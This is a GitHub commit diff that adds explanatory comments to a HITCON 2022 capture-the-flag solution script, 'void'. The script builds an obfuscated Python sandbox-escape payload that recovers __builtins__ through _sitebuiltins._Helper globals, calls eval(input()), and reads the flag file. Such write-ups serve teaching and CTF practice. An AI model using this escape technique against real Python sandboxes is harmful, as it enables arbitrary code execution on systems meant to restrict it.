Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit a886c09

Browse files
author
braindead
committed
hitcon-2022: add comments to "void"
1 parent 932dbb0 commit a886c09

File tree

1 file changed

+20
-1
lines changed

1 file changed

+20
-1
lines changed

‎2022/hitcon-2022/void/generate.py

Lines changed: 20 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -57,17 +57,36 @@ def lit(n):
5757
resp = oracle(
5858
f'[] and ({npad}) or [] and (0/0+{cpad})'
5959
f'or ({n0}:=not[[]])or({n1}:=(not[])+{n0})and({n2}:={n1}+{n1})and({n4}:={n2}+{n2})and({n8}:={n4}+{n4})and({n16}:={n8}+{n8})and({n32}:={n16}+{n16})and({n64}:={n32}+{n32})'
60-
#f'and {n8}'
60+
61+
# "values"
6162
f'and ({values}:=f"{{168}}"[{n8}+{n4}+{n1}:-{n2}])'
63+
64+
# "__dict__"
6265
f'and ({__dict__}:=796[{n0}]*{n2} + f"{{150}}"[{n8}:{n8}+{n4}] + 796[{n0}]*{n2})'
66+
67+
# "__class__"
6368
f'and ({__class__}:=796[{n0}]*{n2} + f"{{4}}"[{n1}:{n4}+{n2}] + 796[{n0}]*{n2})'
69+
70+
# object.__getattribute__
6471
f'and ({ga}:=(6).{__getattribute__})'
72+
73+
# _sitebuiltins._Helper
6574
f'and ({hlp}:=[*{ga}({ga}({ga}(6,{__class__}),{__dict__}),{values})()][{n8}](6)[-{n1}])'
75+
76+
# _sitebuiltins._Helper.__call__
6677
f'and ({fun}:=[*{ga}({ga}({hlp},{__dict__}),{values})()][-{n1}-{n2}])'
78+
79+
# _sitebuiltins._Helper.__call__.__globals__
6780
f'and ({__globals__}:=796[{n0}]*{n2} + 988[{lit(114)}:{lit(120)}] + 797[{n1}] + 796[{n0}]*{n2})'
81+
82+
# _sitebuiltins._Helper.__call__.__globals__['__builtins__']
6883
f'and ({sice}:=[*{ga}([*{ga}({ga}({fun},{__globals__}),{values})()][{n8}-{n1}],{values})()])'
84+
85+
# eval(input(), __builtins__ from _sitebuiltins._Helper)
86+
# the second arg to eval is needed because the challenge trashed our own __builtins__
6987
f'and {sice}[{lit(19)}]({sice}[{lit(28)}](),{ga}({fun},{__globals__}))'
7088

89+
# input to input()
7190
+ '\nprint(open("/home/ctf/flag").read())'
7291
)
7392
print(resp.decode().strip())

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /